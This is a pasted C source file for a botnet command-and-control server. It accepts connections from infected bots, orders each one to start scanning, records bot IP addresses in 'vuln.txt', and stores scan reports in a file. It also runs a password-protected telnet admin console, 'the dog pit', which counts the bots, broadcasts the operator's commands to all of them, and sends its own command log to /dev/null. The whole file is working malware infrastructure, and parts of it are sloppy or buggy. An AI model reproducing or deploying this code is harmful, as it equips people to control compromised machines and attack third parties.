· 4 months ago · Jun 01, 2025, 06:26 AM
1#include <stdio.h>
2#include <stdlib.h>
3#include <stdint.h>
4#include <inttypes.h>
5#include <string.h>
6#include <sys/types.h>
7#include <sys/socket.h>
8#include <netdb.h>
9#include <unistd.h>
10#include <time.h>
11#include <fcntl.h>
12#include <sys/epoll.h>
13#include <errno.h>
14#include <pthread.h>
15#include <signal.h>
16#include <arpa/inet.h>
17#define MY_MGM_PASS "pass"
18#define MY_MGM_PORT port
19#define MAXFDS 1000000
20struct clientdata_t {
21 uint32_t ip;
22 char build[7];
23 char connected;
24} clients[MAXFDS];
25struct telnetdata_t {
26 int connected;
27} managements[MAXFDS];
28struct args {
29 int sock;
30 struct sockaddr_in cli_addr;
31};
32static volatile FILE *fileFD;
33static volatile int epollFD = 0;
34static volatile int listenFD = 0;
35static volatile int managesConnected = 0;
36int fdgets(unsigned char *buffer, int bufferSize, int fd)
37{
38 int total = 0, got = 1;
39 while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
40 return got;
41}
42void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
43{
44 int i;
45 int begin = 0;
46 int end = strlen(str) - 1;
47 while (isspace(str[begin])) begin++;
48 while ((end >= begin) && isspace(str[end])) end--;
49 for (i = begin; i <= end; i++) str[i - begin] = str[i];
50 str[i - begin] = '\0';
51}
52static int make_socket_non_blocking (int sfd)
53{ // man fcntl
54 int flags, s;
55 flags = fcntl (sfd, F_GETFL, 0);
56 if (flags == -1)
57 {
58 perror ("fcntl");
59 return -1;
60 }
61 flags |= O_NONBLOCK;
62 s = fcntl (sfd, F_SETFL, flags);
63 if (s == -1)
64 {
65 perror ("fcntl");
66 return -1;
67 }
68 return 0;
69}
70static int create_and_bind (char *port)
71{
72 struct addrinfo hints;
73 struct addrinfo *result, *rp;
74 int s, sfd;
75 memset (&hints, 0, sizeof (struct addrinfo));
76 hints.ai_family = AF_UNSPEC;
77 hints.ai_socktype = SOCK_STREAM;
78 hints.ai_flags = AI_PASSIVE;
79 s = getaddrinfo (NULL, port, &hints, &result);
80 if (s != 0)
81 {
82 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
83 return -1;
84 }
85 for (rp = result; rp != NULL; rp = rp->ai_next)
86 {
87 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
88 if (sfd == -1) continue;
89 int yes = 1;
90 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
91 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
92 if (s == 0)
93 {
94 break;
95 }
96 close (sfd);
97 }
98 if (rp == NULL)
99 {
100 fprintf (stderr, "Could not bind\n");
101 return -1;
102 }
103 freeaddrinfo (result);
104 return sfd;
105}
106void broadcast(char *msg, int us)
107{
108 int sendMGM = 1;
109 if(strcmp(msg, "PING") == 0) sendMGM = 0;
110 int i;
111 for(i = 0; i < MAXFDS; i++)
112 {
113 if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
114 if(sendMGM && managements[i].connected)
115 {
116 send(i, "\n: ", 3, MSG_NOSIGNAL);
117 }
118 send(i, msg, strlen(msg), MSG_NOSIGNAL);
119 if(sendMGM && managements[i].connected) {
120 send(i, "\n: ", 3, MSG_NOSIGNAL);
121 } else send(i, "\n", 1, MSG_NOSIGNAL);
122 }
123}
124void *epollEventLoop(void *useless)
125{
126 struct epoll_event event;
127 struct epoll_event *events;
128 int s;
129 events = calloc (MAXFDS, sizeof event);
130 while (1)
131 {
132 int n, i;
133 n = epoll_wait (epollFD, events, MAXFDS, -1);
134 for (i = 0; i < n; i++)
135 {
136 if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
137 {
138 clients[events[i].data.fd].connected = 0;
139 close(events[i].data.fd);
140 continue;
141 }
142 else if (listenFD == events[i].data.fd)
143 {
144 while (1)
145 {
146 struct sockaddr in_addr;
147 socklen_t in_len;
148 int infd, ipIndex;
149
150 in_len = sizeof in_addr;
151 infd = accept (listenFD, &in_addr, &in_len);
152 if (infd == -1)
153 {
154 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
155 else
156 {
157 perror ("accept");
158 break;
159 }
160 }
161 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
162 int dup = 0;
163 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
164 {
165 if(!clients[ipIndex].connected || ipIndex == infd) continue;
166 if(clients[ipIndex].ip == clients[infd].ip)
167 {
168 dup = 1;
169 break;
170 }
171 }
172 if(dup)
173 {
174 if(send(infd, "!* LOLNOGTFO\n", 12, MSG_NOSIGNAL) == -1) { close(infd); continue; }
175 close(infd);
176 continue;
177 }
178 s = make_socket_non_blocking (infd);
179 if (s == -1) { close(infd); break; }
180 event.data.fd = infd;
181 event.events = EPOLLIN | EPOLLET;
182 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
183 if (s == -1)
184 {
185 perror ("epoll_ctl");
186 close(infd);
187 break;
188 }
189 clients[infd].connected = 1;
190 send(infd, "!* SCANNER ON\n", 13, MSG_NOSIGNAL);
191 FILE *ipFile;
192 ipFile = fopen("vuln.txt", "a");
193 fprintf(ipFile, "%s\n", inet_ntoa(((struct sockaddr_in *)&in_addr)->sin_addr));
194 fclose(ipFile);
195 }
196 continue;
197 }
198 else
199 {
200 int thefd = events[i].data.fd;
201 struct clientdata_t *client = &(clients[thefd]);
202 int done = 0;
203 client->connected = 1;
204 while (1)
205 {
206 ssize_t count;
207 char buf[2048];
208 memset(buf, 0, sizeof buf);
209
210 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
211 {
212 if(strstr(buf, "\n") == NULL) { done = 1; break; }
213 trim(buf);
214 if(strcmp(buf, "PING") == 0)
215 {
216 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
217 continue;
218 }
219 if(strstr(buf, "BUILD ") == buf)
220 {
221 char *build = strstr(buf, "BUILD ") + 6;
222 if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
223 memset(client->build, 0, 7);
224 strcpy(client->build, build);
225 continue;
226 }
227 if(strstr(buf, "REPORT ") == buf)
228 {
229 char *line = strstr(buf, "REPORT ") + 7;
230 fprintf(fileFD, "%s\n", line);
231 fflush(fileFD);
232 continue;
233 }
234 if(strcmp(buf, "PONG") == 0)
235 {
236 continue;
237 }
238
239 printf("buf: \"%s\"\n", buf);
240 }
241 if (count == -1)
242 {
243 if (errno != EAGAIN)
244 {
245 done = 1;
246 }
247 break;
248 }
249 else if (count == 0)
250 {
251 done = 1;
252 break;
253 }
254 }
255 if (done)
256 {
257 client->connected = 0;
258 close(thefd);
259 }
260 }
261 }
262 }
263}
264unsigned int clientsConnected()
265{
266 int i = 0, total = 0;
267 for(i = 0; i < MAXFDS; i++)
268 {
269 if(!clients[i].connected) continue;
270 total++;
271 }
272 return total;
273}
274void *titleWriter(void *sock) // just an informational banner
275{
276 int thefd = (int)sock;
277 char string[2048];
278 while(1)
279 {
280 memset(string, 0, 2048);
281 sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
282 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
283
284 sleep(2);
285 }
286}
287static int *fdopen_pids;
288int fdpopen(unsigned char *program, register unsigned char *type)
289{
290 register int iop;
291 int pdes[2], fds, pid;
292 if (*type != 'r' && *type != 'w' || type[1]) return -1;
293 if (pipe(pdes) < 0) return -1;
294 if (fdopen_pids == NULL) {
295 if ((fds = getdtablesize()) <= 0) return -1;
296 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
297 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
298 }
299 switch (pid = vfork())
300 {
301 case -1:
302 close(pdes[0]);
303 close(pdes[1]);
304 return -1;
305 case 0:
306 if (*type == 'r') {
307 if (pdes[1] != 1) {
308 dup2(pdes[1], 1);
309 close(pdes[1]);
310 }
311 close(pdes[0]);
312 } else {
313 if (pdes[0] != 0) {
314 (void) dup2(pdes[0], 0);
315 (void) close(pdes[0]);
316 }
317 (void) close(pdes[1]);
318 }
319 execl("/bin/sh", "sh", "-c", program, NULL);
320 _exit(127);
321 }
322 if (*type == 'r') {
323 iop = pdes[0];
324 (void) close(pdes[1]);
325 } else {
326 iop = pdes[1];
327 (void) close(pdes[0]);
328 }
329 fdopen_pids[iop] = pid;
330 return (iop);
331}
332int fdpclose(int iop)
333{
334 register int fdes;
335 sigset_t omask, nmask;
336 int pstat;
337 register int pid;
338 if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
339 (void) close(iop);
340 sigemptyset(&nmask);
341 sigaddset(&nmask, SIGINT);
342 sigaddset(&nmask, SIGQUIT);
343 sigaddset(&nmask, SIGHUP);
344 (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
345 do {
346 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
347 } while (pid == -1 && errno == EINTR);
348 (void) sigprocmask(SIG_SETMASK, &omask, NULL);
349 fdopen_pids[fdes] = 0;
350 return (pid == -1 ? -1 : WEXITSTATUS(pstat));
351}
352void *telnetWorker(void *arguments)
353{
354 struct args *argument = arguments;
355 int thefd = argument->sock;
356 managesConnected++;
357 pthread_t title;
358 char buf[2048];
359 memset(buf, 0, sizeof buf);
360 if(send(thefd, "Password: ", 10, MSG_NOSIGNAL) == -1) goto end;
361 if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
362 trim(buf);
363 if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
364 memset(buf, 0, 2048);
365 pthread_create(&title, NULL, &titleWriter, thefd); /* writes the informational banner to the admin after a login */
366 if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
367 if(send(thefd, "* WELCOME TO THE DOG PIT *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
368 if(send(thefd, "* Now with \x1b[32mdingling\x1b[31m support *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
369 if(send(thefd, "*****************************************\r\n\r\n\x1b[0m: ", 51, MSG_NOSIGNAL) == -1) goto end;
370 while(fdgets(buf, sizeof buf, thefd) > 0)
371 {
372 trim(buf);
373 if(strlen(buf) == 0) continue;
374 send(thefd, ": ", 2, MSG_NOSIGNAL);
375 if(strncmp(buf, "!* COUNT", 8) == 0){
376 char stringg[2048];
377 memset(stringg, 0, 2048);
378 sprintf(stringg, "Bots connected: %d ", clientsConnected(), managesConnected);
379 send(thefd, stringg, strlen(stringg), MSG_NOSIGNAL);
380 memset(buf, 0, 2048);
381 continue;
382 }
383 FILE *logFile;
384 logFile = fopen("/dev/null", "a");
385 fprintf(logFile, "%s\n", buf);
386 fclose(logFile);
387 broadcast(buf, thefd);
388 memset(buf, 0, 2048);
389 }
390 end:
391 managements[thefd].connected = 0;
392 close(thefd);
393 managesConnected--;
394}
395void *telnetListener(int port)
396{
397 int sockfd;
398 struct args arguments;
399 socklen_t clilen;
400 struct sockaddr_in serv_addr;
401 sockfd = socket(AF_INET, SOCK_STREAM, 0);
402 if (sockfd < 0) perror("ERROR opening socket");
403 bzero((char *) &serv_addr, sizeof(serv_addr));
404 serv_addr.sin_family = AF_INET;
405 serv_addr.sin_addr.s_addr = INADDR_ANY;
406 serv_addr.sin_port = htons(port);
407 if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
408 listen(sockfd,5);
409 clilen = sizeof(arguments.cli_addr);
410 while(1)
411 {
412 arguments.sock = accept(sockfd, (struct sockaddr *)&arguments.cli_addr, &clilen);
413 if (arguments.sock < 0) perror("ERROR on accept");
414 pthread_t thread;
415 pthread_create( &thread, NULL, telnetWorker, &arguments);
416 }
417}
418int main(int argc, char *argv[])
419{
420 signal(SIGPIPE, SIG_IGN);
421 int s, threads, port;
422 struct epoll_event event;
423 port = atoi(argv[3]);
424 if (argc != 4)
425 {
426 fprintf (stderr, "Usage: %s [bot port] [threads] [admin port]\n", argv[0]);
427 exit (EXIT_FAILURE);
428 }
429 fileFD = fopen("output.txt", "a+");
430 threads = atoi(argv[2]);
431 listenFD = create_and_bind (argv[1]);
432 if (listenFD == -1) abort ();
433 s = make_socket_non_blocking (listenFD);
434 if (s == -1) abort ();
435 s = listen (listenFD, SOMAXCONN);
436 if (s == -1)
437 {
438 perror ("listen");
439 abort ();
440 }
441 epollFD = epoll_create1 (0);
442 if (epollFD == -1)
443 {
444 perror ("epoll_create");
445 abort ();
446 }
447 event.data.fd = listenFD;
448 event.events = EPOLLIN | EPOLLET;
449 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
450 if (s == -1)
451 {
452 perror ("epoll_ctl");
453 abort ();
454 }
455 pthread_t thread[threads + 2];
456 while(threads--)
457 {
458 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
459 }
460 pthread_create(&thread[0], NULL, &telnetListener, port);
461 while(1)
462 {
463 broadcast("PING", -1);
464 sleep(60);
465 }
466 close (listenFD);
467 return EXIT_SUCCESS;
468}